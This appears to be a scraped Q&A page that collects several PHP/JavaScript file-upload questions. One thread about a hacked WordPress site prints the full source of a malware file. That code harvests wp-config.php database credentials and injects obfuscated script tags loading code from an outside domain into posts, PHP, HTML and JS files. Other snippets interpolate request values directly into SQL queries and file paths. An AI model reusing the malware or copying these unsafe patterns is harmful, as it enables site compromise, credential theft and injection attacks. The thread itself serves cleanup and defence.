Javascript PHP chunk video and save into Database - javascript

window.addEventListener("load", () => {
var uploader = new plupload.Uploader({
runtimes: "html5",
browse_button: "upload",
url: "../upload.php",
chunk_size: "10mb", // <<<<<<< Here is my problem
filters: {
max_file_size: "100gb",
.... THIS CODE HERE DOESN'T MATTER .....
});
This is my upload.php
function verbose ($ok=1, $info="") {
if ($ok==0) { http_response_code(400); }
exit(json_encode(["ok"=>$ok, "info"=>$info]));
}
if (empty($_FILES) || $_FILES["file"]["error"]) {
verbose(0, "Failed to move uploaded file.");
}
$filePath = __DIR__ . DIRECTORY_SEPARATOR . "videos";
if (!file_exists($filePath)) { if (!mkdir($filePath, 0777, true)) {
verbose(0, "Failed to create $filePath");
}}
$fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : $_FILES["file"]["name"];
$filePath = $filePath . DIRECTORY_SEPARATOR . $fileName;
$dateformat = date("Y-m-d-H:i:s");
$fileSize = $_FILES["file"]["size"]; // <<<<< HERE IS MY PROBLEM
$title = pathinfo($fileName,PATHINFO_FILENAME);
$chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
$chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0;
$out = #fopen("{$filePath}.part", $chunk == 0 ? "wb" : "ab");
if ($out) {
$in = #fopen($_FILES['file']['tmp_name'], "rb");
if ($in) {
while ($buff = fread($in, 4096)) {
fwrite($out, $buff);
}
}else{
echo "err";
}
#fclose($in);
#fclose($out);
#unlink($_FILES['file']['tmp_name']);
}else{
verbose(0, "Failed to open output stream");
}
if (!$chunks || $chunk == $chunks - 1) {
$rename = 'videos/'.generateKey($pdo); // simple function to generate random string ( 123asdjjn124 and so on)
$databaseName = str_replace('videos/','', $rename); // remove videos/ from the string
rename("{$filePath}.part", $rename);
$stmt = $pdo->prepare("INSERT INTO videos(title,size,date,link) VALUES(:title,:size,:date,:link)");
$stmt->bindParam(':title',$title,PDO::PARAM_STR);
$stmt->bindParam(':size',$fileSize,PDO::PARAM_STR); // <<<<< HERE IS MY PROBLEM
$stmt->bindParam(':date',$dateformat,PDO::PARAM_STR);
$stmt->bindParam(':link',$databaseName,PDO::PARAM_STR);
$stmt->execute();
}
verbose(1, "Upload OK");
Now when I upload a file, everything is entered beautifully but the size of the "chunk_size" is always entered instead of the correct size of the file. Does anyone have an idea why this is so? It also makes no difference if I change the file size, it always takes the "chunk_size".
Any advice is helpful
Here I have another screenshot to illustrate how I mean it. https://prnt.sc/QW-zXtrb6RuY

Related

Progress Bar S3 Bucket - PHP Ajax, Javascript

I'm trying to add a Progress Bar to track the file Upload status of my Form. To upload files I use this Form code:
<form id="contact-form" action="awsUpload.php" method="post" name="frmImage" enctype="multipart/form-data">
<input class="file-input" type="file" style="width:100%;"autocomplete="off" name="ftp" accept="image/*, .zip, .rar, .bzip" onchange="this.form.submit();changeStyle()" class="file-up" id="fileFTP">
</form>
And this PHP code to manage the File Upload request.
<?php
require './aws/aws-autoloader.php';
use Aws\S3\S3Client;
use Aws\S3\Exception\S3Exception;
// AWS Info
$bucketName = '***';
$IAM_KEY = '***';
$IAM_SECRET = '***';
// Connect to AWS
try {
// You may need to change the region. It will say in the URL when the bucket is open
// and on creation. us-east-2 is Ohio, us-east-1 is North Virgina
$s3 = S3Client::factory(array(
'credentials' => array(
'key' => $IAM_KEY,
'secret' => $IAM_SECRET
),
'version' => 'latest',
'region' => 'eu-west-1'
));
}
catch (Exception $e) {
die("Error: " . $e->getMessage());
}
// For this, I would generate a unqiue random string for the key name. But you can do whatever.
//$target_file = 'f/' . basename($_FILES["ftp"]['tmp_name']); //ftp is file name at index.php
if (isset($_FILES["ftp"]) && $_FILES["ftp"]["error"] == 0) {
$mimeType = mime_content_type($_FILES["ftp"]["tmp_name"]);
$fileSize = $_FILES["ftp"]["size"];
if (strpos($mimeType, "image") === 0) {
if ($fileSize <= 1000 * 1024 * 1024) { //max image size
$target_dir = "i/";
// $strng = preg_replace("/[\s-]|\#/", "_", basename($_FILES["ftp"]["name"])); //Prima era solo "/[\s-]/"
$target_file = $target_dir . time() . rand(100, 999);
//$pathInS3 = 'https://s3.ap-south-1.amazonaws.com/' . $bucketName . '/' . $target_file;
// Add it to S3
try {
if (!file_exists('/tmp/tmpfile')) {
echo 3;
mkdir('/tmp/tmpfile');
}
$tempFilePath = '/tmp/tmpfile/' . basename($_FILES["ftp"]['name']);
$tempFile = fopen($tempFilePath, "w") or die("Error: Unable to open file.");
$fileContents = file_get_contents($_FILES["ftp"]['tmp_name']);
$tempFile = file_put_contents($tempFilePath, $fileContents);
$s3->putObject(array(
'Bucket' => $bucketName,
'Key' => $target_file,
'SourceFile' => $tempFilePath,
'StorageClass' => 'REDUCED_REDUNDANCY',
'ACL' => 'public-read'
));
$valPOutput = htmlspecialchars($target_file);
header('HTTP/1.1 303 See Other');
header('Location: http://example.com/result.php' . "?p=" . $valPOutput);
}
catch (S3Exception $e) {
die('Error:' . $e->getMessage());
}
catch (Exception $e) {
die('Error:' . $e->getMessage());
}
} else {
echo "image too big";
}
} elseif ($mimeType == "application/zip" || $mimeType == "application/x-rar-compressed" || $mimeType == "application/x-7z-compressed" || $mimeType == "application/x-bzip2") {
if ($fileSize <= 5000 * 1024 * 1024) { //max arch size
$target_dir = "f/";
//$strng = preg_replace("/[\s-]|\#/", "_", basename($_FILES["ftp"]["name"])); //Prima era solo "/[\s-]/"
$target_file = $target_dir . time() . rand(100, 999);
// $pathInS3 = 'https://s3.ap-south-1.amazonaws.com/' . $bucketName . '/' . $target_file;
// Add it to S3
try {
if (!file_exists('/tmp/tmpfile')) {
echo 3;
mkdir('/tmp/tmpfile');
}
$tempFilePath = '/tmp/tmpfile/' . basename($_FILES["ftp"]['name']);
$tempFile = fopen($tempFilePath, "w") or die("Error: Unable to open file.");
$fileContents = file_get_contents($_FILES["ftp"]['tmp_name']);
$tempFile = file_put_contents($tempFilePath, $fileContents);
$s3->putObject(array(
'Bucket' => $bucketName,
'Key' => $target_file,
'SourceFile' => $tempFilePath,
'StorageClass' => 'REDUCED_REDUNDANCY',
'ACL' => 'public-read'
));
$valPOutput = htmlspecialchars($target_file);
header('HTTP/1.1 303 See Other');
header('Location: http://example.com/result.php' . "?p=" . $valPOutput);
}
catch (S3Exception $e) {
die('Error:' . $e->getMessage());
}
catch (Exception $e) {
die('Error:' . $e->getMessage());
}
}else {
echo "arch too big";
}
}
}
?>
I've tried to do so adding event listeners to prevent submitting request, but when I upload a file, the website URL changes from https://example.com to https://example.com/awsUpload.php and the Progress Bar does not move and the Upload keeps going.
I'd like to receive some suggestions on how I can move or think to achieve that (the code I posted right now does not include any Progress bar test since I deleted the progress bar code cause it did not work).
EDIT DOWN HERE
Modified the form and added this new Script.
Right now the Load bar does work and the file gets uploaded, unfortunately I do not know why after the form gets submitted I do not get redirected to https://example.com/?p=****
<form id="contact-form" action="awsUpload.php" method="post" name="frmImage" enctype="multipart/form-data">
<input class="file-input" type="file" style="width:100%;"autocomplete="off" name="ftp" accept="image/*, .zip, .rar, .bzip" onchange="uploadFile(this.form)" class="file-up" id="fileFTP">
<progress id="upload-progress" value="0" max="100"></progress>
</form>
<script>
function uploadFile(form) {
var fileInput = form.querySelector('input[type="file"]');
var file = fileInput.files[0];
var formData = new FormData(form);
var xhr = new XMLHttpRequest();
xhr.open('POST', this.form, true);
xhr.upload.onprogress = function(e) {
if (e.lengthComputable) {
var percentComplete = (e.loaded / e.total) * 100;
var progressBar = form.querySelector('progress');
progressBar.value = percentComplete;
}
};
xhr.onload = function() {
if (xhr.status == 200) {
// File uploaded successfully
alert('success')
} else {
// An error occurred during the upload
}
};
xhr.send(formData);
}
</script>
Extra: I tried to ad in the action of if (xhr.status == 200) to redirect to a certain webpage with window.location but I'm missing the $valPOutput from the awsUpload.php and do not know how to get it.

Random Java Scripts keep adding my WordPress site on every page how should i remove them?

some malware get into my WordPress site and they insert these types of scripts in every post and pages, How can I remove this so I don't have to do it manually one by one
they even inserted this script in robots.txt & in the description of every media item
Crome Inspect ...
editor
" <script src='https://js.donatelloflowfirstly. ga/stat.js?n=ns1' type='text/javascript'></script> "
Either start by disabling the plugin one by one to find out if the culprit comes from one of your plugins. Then, if it does not disappear, try changing the theme.
Or, it would be easier probably to just download the entire and use something like grep4win to search the whole folder for a specific string (in your case js.donatelloflowfirstly).
check your publich_html directory.. maybe you will find a file called : _a
it's a malware injection code that inject
<script src='https://js.donatelloflowfirstly. ga/stat.js?n=ns1' type='text/javascript'></script>
to every post and every index.php file
I've the same issue 10 hours ago and I've cleaned my site
and here's the content of the _a malware file :
<?php echo "ssqqss>>>";
error_reporting(E_ALL);
ini_set('display_errors',1);
search_file_ms($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","wp-config.php");
die();
function get_var_reg($pat,$text) {
if ($c = preg_match_all ("/".$pat."/is", $text, $matches))
{
return $matches[1][0];
}
return "";
}
function search_file_ms($dir,$file_to_search){
$search_array = array();
$files = scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
#search_file_ms( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
#search_file_ms( $dir,$file_to_search);
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false) {
show_sitenames($path);
}
} else if($value != "." && $value != "..") {
#search_file_ms($path, $file_to_search);
}
}
}
function show_sitenames($file){
$content = #file_get_contents($file);
if(strpos($content, "DB_NAME") !== false) {
$db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content);
$host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content);
$user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content);
$pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content);
// Create connection
$conn = new mysqli($host, $user, $pass);
// Check connection
if ($conn->connect_error) {
} else {
$q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'";
$result = $conn->query($q);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." LIMIT 1 ";
$result2 = $conn->query($q2);
if ($result2->num_rows > 0) {
while($row2 = $result2->fetch_assoc()) {
$val = $row2['post_content'];
if(strpos($val, "js.donatelloflowfirstly.ga") === false){
if(strpos($val, "js.donatelloflowfirstly.ga") === false){
$q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src='https://js.donatelloflowfirstly.ga/stat.js?n=ns1' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%js.donatelloflowfirstly.ga%'";
$conn->query($q3);
echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"];
} else {
}
}
}
} else {
}
}
} else {
}
$conn->close();
}
}
}
function search_file($dir,$file_to_search){
$files = #scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
#search_file( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
#search_file( $dir,$file_to_search);
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {
make_it($path);
} }else if($value != "." && $value != "..") {
search_file($path, $file_to_search);
}
}
}
function search_file_index($dir,$file_to_search){
$files = #scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
search_file_index( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
search_file_index( $dir,$file_to_search);
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {
make_it_index($path);
} }else if($value != "." && $value != "..") {
search_file_index($path, $file_to_search);
}
}
}
function search_file_js($dir,$file_to_search){
$files = #scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
#search_file_js( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
#search_file_js( $dir,$file_to_search);
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) {
make_it_js($path);
} }else if($value != "." && $value != "..") {
search_file_js($path, $file_to_search);
}
}
}
function make_it_js($f){
$g = file_get_contents($f);
if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false) {
} else {
$l2 = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
$g = file_get_contents($f);
$g = $l2.$g;
#system('chmod 777 '.$f);
#file_put_contents($f,$g);
echo "js:".$f."\r\n";
}
}
function make_it_index($f){
if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false || strpos($g, 'js.donatelloflowfirstly.ga') !== false) {
} else {
$l2 = "<script type='text/javascript' src='https://js.donatelloflowfirstly.ga/stat.js?n=nb5'></script>";
$g = file_get_contents($f);
$g = $l2.$g;
#system('chmod 777 '.$f);
#file_put_contents($f,$g);
echo "in:".$f."\r\n";
}
}
function make_it($f){
$g = file_get_contents($f);
if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false) {
} else {
$l2 = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
if (strpos($g, '<head>') !== false) {
$b = str_replace("<head>","<head>".$l2,$g);
#system('chmod 777 '.$f);
#file_put_contents($f,$b);
echo "hh:".$f."\r\n";
}
if (strpos($g, '</head>') !== false) {
$b = str_replace("</head>",$l2."</head>",$g);
#system('chmod 777 '.$f);
#file_put_contents($f,$b);
echo "hh:".$f."\r\n";
}
}
}
as you can see, the code reveal DB login info and inject the script code to any index.php file , and theme function too.
i made a search and replace in db, and cleaned this code from all wp_posts table
and almost deleted all plugins because it's infect any index.php file in the whole home directory.
It can be in header.php like this https://gist.github.com/riper81/70e6fa8ac703d105490b6f5bb1708436
But it's pointless to delete it now. First you need to find out how the hacker got to the server and fix the hole. It may be vulnerable version of wordpress engine / plugin, theme (not even active) / custom script / other site on the same server.
I have got this virus, almost every night at 10pm they attack my website. Although i had clean all the malware as mention above.
Just now, i found something abnormal. I check that on my database of this hacked website, there is strange username with all privileged users which i never add into.
Maybe they inject the malware through this privileged users.
Now i delete this privileged users, we'll see whats going to happen next.
Hoping this will solved the problem.
I have already been hit by the second wave of this malware, it acts on Friday, the first time I cleaned all the scripts from the database doing a search for "donatello", after locating the entries, I gave an update to the bank: UPDATE wp_posts SET post_content = (REPLACE (post_content, “<script src = 'https: //js.donatelloflowfirstly.ga/stat.js? n = ns1 ′ type =' text / javascript '> </script>”,' ') );
then only a senama started working again, last Friday it came back and I couldn't find these records, it seems that the way of acting has changed.
I just found out that it was in the first lines of the FUNCTIONS.PHP and HEADER.PHP file of my theme, I removed the lines and it worked again, but I still don't know the source of the problem.

IIS8+PHP+samba folder can t read or write on folder

So basically i build an webpage(php+js) on xampp that lets users fill a form and in that form they can upload multiple images.
The site was working fine so i upload it to production on the server with IIS8.
The form works great but i cant upload or view the images i uploaded.
The images are being uploaded to a samba drive, in xampp i had no issue it worked how it was suppose too on IIS I'm getting an error saying i don't have permissions. i don't know what I'm doing wrong
this is the code to get the images
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['id'])){
$id = $_POST['id'];
$directory = '\\\\server\\'.$id.'\\';
$directory = '\\\\server\\'.$id.'\\';
$local = glob("" . $directory . "{*.jpg,*.gif,*.png}", GLOB_BRACE);
$img_arr = array();
if($local){
$x=1;
}else{
$x=0;
}
foreach($local as $item)
{
$image = $item;
$imageData = base64_encode(file_get_contents($image));
$src = 'data: '.mime_content_type($image).';base64,'.$imageData;
$img_arr [] = array('mime'=> mime_content_type($image),'imgDt'=> $imageData);
}
}
if ($x==0){
$response = [
'status'=>'falhou',
'values' => $local
];
}else{
$response = [
'status'=>'sucesso',
'values' => $img_arr
];
}
header('Content-Type: application/json');
echo json_encode($response);
?>
and this is the code to add images
if (!file_exists('\\\\server\\'.$tmstp)) {
mkdir('\\\\server\\'.$tmstp);
}
$uploadDir = '\\\\server\\'.$tmstp.'\\';
if(!empty($_FILES['anex'])){
foreach ($_FILES['anex']['name'] as $key=>$ficheiro) {
$fileName = basename($_FILES['anex']['name'][$key]);
$tmpname = $_FILES['anex']['tmp_name'][$key];
$targetFilePath = $uploadDir . $fileName;
$fileType = pathinfo($targetFilePath, PATHINFO_EXTENSION);
$allowTypes = array('jpg', 'png', 'jpeg', 'gif');
if(in_array($fileType, $allowTypes)){
if(file_exists($targetFilePath)) {
//chmod($targetFilePath,0755); //Change the file permissions if allowed
unlink($targetFilePath); //remove the file
}
if(move_uploaded_file($tmpname, $targetFilePath)){
$uploadedFile = $fileName;
if ($i=0){
$anex=$fileName;
$i++;
$uploadStatus = 1;
$hf=true;
}
else{
$anex=$anex .';' . $fileName;
$uploadStatus = 1;
$hf=true;
$rspimg = 'Upload fotos com sucesso';
}
}else{
$uploadStatus = 0;
$rspimg = 'Ouve um erro com o UPLOAD das imagens';
}
}else{
$uploadStatus = 0;
$rspimg = 'Só JPG, JPEG, PNG ou GIF';
}
}
}else{
$hf = false;
}
i already tried creating a virtual folder on IIS and it still doesn't work

Providing php generated xml file to javascript parser

I am developing a smart tv app that plays live streams. App itself works fine, when i provide a valid xml playlist to it.
But when i use php to generate xml file (wich also generates fine), it doesnt work.
I get an error:
TypeError: 'null' is not an object (evaluating 'this.XHRObj.responseXML.documentElement')
Here is my php file that generates videoList.xml, it works 100%.
In short words, this script checks if MAC address in database, and if it is, then it writes videoList.xml with walid live streaming links.
SamsungAPI.php
<?php
$MAC = $_GET['MAC'];
require_once('../config.php');
//Remove brackets form array
$_INFO = preg_replace('/[{}]/', '', $_INFO);
$mysqli = new mysqli($_INFO['host'], $_INFO['db_user'], $_INFO['db_pass'], $_INFO['db_name']);
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}
$sql="SELECT * FROM users WHERE admin_notes = '$MAC' ";
$rs=$mysqli->query($sql);
$rows=mysqli_num_rows($rs);
if ($rows == 1) {
//MAC FOUND
$row = mysqli_fetch_array($rs);
$username = $row['username'];
$password = $row['password'];
$file = "videoList.xml";
$txt_file = file_get_contents('http://' . $_SERVER['HTTP_HOST'] . '/get.php?type=starlivev3&username=' . $username . '&password=' . $password . '&output=hls');
$rows = explode("\n", $txt_file);
if(empty($rows[count($rows)-1])) {
unset($rows[count($rows)-1]);
$rows=array_map('trim',$rows);
}
$handle = fopen($file, "w+") or die('Could not open file');
fwrite($handle, "<?xml version=\"1.0\"?>"."\n");
fwrite($handle, "<rss version=\"2.0\">"."\n");
fwrite($handle, "<channel>"."\n");
foreach($rows as $row => $data)
{
//get row data
$row_data = explode(',', $data);
//replace _ with spaces
$row_data[0] = str_replace('_', ' ', $row_data[0]);
//generate playlist content
fwrite($handle, "<item>"."\n");
fwrite($handle, "<title>{$row_data[0]}</title>"."\n");
fwrite($handle, "<link>{$row_data[1]}</link>"."\n");
fwrite($handle, "<description> Reserved for EPG </description>"."\n");
fwrite($handle, "</item>"."\n");
}
fwrite($handle, "</channel>"."\n");
fwrite($handle, "</rss>");
fclose($handle);
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($file));
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
} else {
//MAC NOT FOUND
echo "MAC NOT FOUND";
}
mysqli_close($mysqli); // Closing Connection
?>
Then in samsung smart tv videoplayer app, i have xml parser like this:
Server.js
var Server =
{
/* Callback function to be set by client */
dataReceivedCallback : null,
XHRObj : null,
url : "http://myvalidhost.com/samsungAPI.php?MAC=02000027000b"
}
Server.init = function()
{
var success = true;
if (this.XHRObj)
{
this.XHRObj.destroy(); // Save memory
this.XHRObj = null;
}
return success;
}
Server.fetchVideoList = function()
{
if (this.XHRObj == null)
{
this.XHRObj = new XMLHttpRequest();
}
if (this.XHRObj)
{
this.XHRObj.onreadystatechange = function()
{
if (Server.XHRObj.readyState == 4)
{
Server.createVideoList();
}
}
this.XHRObj.open("GET", this.url, true);
this.XHRObj.send(null);
}
else
{
alert("Failed to create XHR");
}
}
Server.createVideoList = function()
{
if (this.XHRObj.status != 200)
{
Display.status("XML Server Error " + this.XHRObj.status);
}
else
{
var xmlElement = this.XHRObj.responseXML.documentElement;
if (!xmlElement)
{
alert("Failed to get valid XML");
}
else
{
// Parse RSS
// Get all "item" elements
var items = xmlElement.getElementsByTagName("item");
var videoNames = [ ];
var videoURLs = [ ];
var videoDescriptions = [ ];
for (var index = 0; index < items.length; index++)
{
var titleElement = items[index].getElementsByTagName("title")[0];
var descriptionElement = items[index].getElementsByTagName("description")[0];
var linkElement = items[index].getElementsByTagName("link")[0];
if (titleElement && descriptionElement && linkElement)
{
videoNames[index] = titleElement.firstChild.data;
if(linkElement.firstChild.data.substring(0,4) !="http"){
alert("asdasdasd "+linkElement.firstChild.data.substring(0,4));
var rootPath = window.location.href.substring(0, location.href.lastIndexOf("/")+1);
var Abs_path = unescape(rootPath).split("file://")[1]+linkElement.firstChild.data;
videoURLs[index] = Abs_path;
}
else{
videoURLs[index] = linkElement.firstChild.data;
}
videoDescriptions[index] = descriptionElement.firstChild.data;
}
}
Data.setVideoNames(videoNames);
Data.setVideoURLs(videoURLs);
Data.setVideoDescriptions(videoDescriptions);
if (this.dataReceivedCallback)
{
this.dataReceivedCallback(); /* Notify all data is received and stored */
}
}
}
}
Does anyone have any idea why doesnt it accept my generated xml file?
Regards
M
I figured it out, in php headers content type was wrong.
Changed
header('Content-Type: application/octet-stream');
to
header('Content-Type: application/xml');
Now it works perfect!

Image upload with ajax and php is failing (no error log)

The following code I'm using to upload images is failing for some reason...
Here is the HTML
<form id="image_upload" enctype="multipart/form-data" action="uploadImage.php" method="post" name="prof_picture">
<input id="image1" style="display:none;" name="image" accept="image/jpeg" type="file">
<input id="image2" value="Submit" type="submit" style="display:none;">
</form>
PHP (uploadImage.php)
include('../sqlconnection.php');
define ("MAX_SIZE","1000");
function getExtension($str)
{
$i = strrpos($str,".");
if (!$i) { return ""; }
$l = strlen($str) - $i;
$ext = substr($str,$i+1,$l);
return $ext;
}
$valid_formats = array("jpg", "png", "gif", "bmp","jpeg");
if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
{
$uploaddir = "profile/uploads"; //Image upload directory
$filename = stripslashes($_FILES['image']['name'][0]);
echo $filename;
$size=filesize($_FILES['image']['tmp_name'][0]);
echo $filename;
//Convert extension into a lower case format
$ext = getExtension($filename);
$ext = strtolower($ext);
//File extension check
if(in_array($ext,$valid_formats))
{
//File size check
if ($size < (MAX_SIZE*1024))
{
$image_name=time().$filename;
echo "<img src='".$uploaddir.$image_name."' class='imgList'>";
$newname=$uploaddir.$image_name;
//Moving file to uploads folder
if (move_uploaded_file($_FILES['image']['tmp_name'][0], $newname))
{
$time=time();
//Insert upload image files names into user_uploads table
mysql_query("UPDATE table SET image='$image_name' WHERE id='$user_id'");
}
else
{
echo '<span class="imgList">failed</span>'; }
}
else
{
echo '<span class="imgList">failed</span>';
}
}
else
{
echo '<span class="imgList">failed</span>';
}
}
JS
$('#image1').on('change', function() {
$("#image").attr('src',"profile/loading.gif");
$("#image_upload").ajaxForm({
target: '#image'
}).submit();
});
What I know for sure:
1º The php script is being achieved correctly because I failed part of the code on purpose and attained an error message regarding an internal php error.
2º The query is being done correctly (or at least by its syntax).
3º The javascript function related to #image is also working.
I only want to upload one image that the user selects (even if he selects 100 other items). But as I said, I don't even get an error message on the log... Any ideas on this one? Thank you very much!
EDIT
I've changed the code a bit
$ext = strtolower($ext);
if(in_array($ext,$valid_formats)){
if ($size < (MAX_SIZE*1024)){
$image_name=time().$user_id."--pfi-".$filename;
$newname=$uploaddir.$image_name;
if (move_uploaded_file($_FILES['image']['tmp_name'], $newname)){
mysql_query("UPDATE table SET image='$image_name' WHERE id='$user_id'");
}else echo '<span class="imgList">This message appears </span>';
}else echo '<span class="imgList">You have exceeded the size limit!</span>';
}else echo '<span class="imgList">Unknown extension!</span>';
For some reason it now stops at if(move_uploaded_file($_FILES['image']['tmp_name'], $newname)). I've var_dump'ed this and it is indeed "false" but I can't get to understand why. Here is var_dump($_FILES):
array(1) { ["image"]=> array(5) { ["name"]=> string(21) "060424_hubble_big.jpg" ["type"]=> string(10) "image/jpeg" ["tmp_name"]=> string(14) "/tmp/phpZYaDkm" ["error"]=> int(0) ["size"]=> int(35641) } }
EDIT 2
Warning:
move_uploaded_file(profile/uploads/1388794617.png):
failed to open stream: No such file or directory in
profile/uploadProfilePicture.php on line 37
Warning: move_uploaded_file(): Unable to move '/tmp/phppFfoL4' to
'profile/uploads/1388794617.png' in
profile/uploadProfilePicture.php on line 37
how should I specify $uploaddir or even $newname?
Edit
This is what I used. Notice the commented out conditional statements.
<?php
// include('../sqlconnection.php');
define ("MAX_SIZE","1000000000");
function getExtension($str)
{
$i = strrpos($str,".");
if (!$i) { return ""; }
$l = strlen($str) - $i;
$ext = substr($str,$i+1,$l);
return $ext;
}
$valid_formats = array("jpg", "png", "gif", "bmp","jpeg");
// if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
// {
$uploaddir = "profile/uploads/"; //Image upload directory
$filename = stripslashes($_FILES['image']['name']);
echo $filename;
$size=filesize($_FILES['image']['tmp_name']);
echo $filename;
//Convert extension into a lower case format
$ext = getExtension($filename);
$ext = strtolower($ext);
//File extension check
if(in_array($ext,$valid_formats))
{
//File size check
if ($size < (MAX_SIZE*1024))
{
$image_name=time().$filename;
echo "<img src='".$uploaddir.$image_name."' class='imgList'>";
$newname=$uploaddir.$image_name;
//Moving file to uploads folder
if (move_uploaded_file($_FILES['image']['tmp_name'], $newname))
{
$time=time();
//Insert upload image files names into user_uploads table
// mysql_query("UPDATE table SET image='$image_name' WHERE id='$user_id'");
}
else
{
echo '<span class="imgList">failed</span>'; }
}
else
{
echo '<span class="imgList">failed</span>';
}
}
else
{
echo '<span class="imgList">failed</span>';
}
// }
Original answer
Ok, I found the problem. Remove all [0] in your PHP and it will now work. Those are used for arrays and since you're only using it for single file uploads, is why it failed.
Sidenote: You may want to add a / at the end of $uploaddir = "profile/uploads"; as in $uploaddir = "profile/uploads/";
The following doesn't have the [0]'s and have tested it as pure PHP with no JS.
include('../sqlconnection.php');
define ("MAX_SIZE","1000");
function getExtension($str)
{
$i = strrpos($str,".");
if (!$i) { return ""; }
$l = strlen($str) - $i;
$ext = substr($str,$i+1,$l);
return $ext;
}
$valid_formats = array("jpg", "png", "gif", "bmp","jpeg");
if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
{
$uploaddir = "profile/uploads"; //Image upload directory
$filename = stripslashes($_FILES['image']['name']);
echo $filename;
$size=filesize($_FILES['image']['tmp_name']);
echo $filename;
//Convert extension into a lower case format
$ext = getExtension($filename);
$ext = strtolower($ext);
//File extension check
if(in_array($ext,$valid_formats))
{
//File size check
if ($size < (MAX_SIZE*1024))
{
$image_name=time().$filename;
echo "<img src='".$uploaddir.$image_name."' class='imgList'>";
$newname=$uploaddir.$image_name;
//Moving file to uploads folder
if (move_uploaded_file($_FILES['image']['tmp_name'], $newname))
{
$time=time();
//Insert upload image files names into user_uploads table
mysql_query("UPDATE table SET image='$image_name' WHERE id='$user_id'");
}
else
{
echo '<span class="imgList">failed</span>'; }
}
else
{
echo '<span class="imgList">failed</span>';
}
}
else
{
echo '<span class="imgList">failed</span>';
}
}

Categories

Resources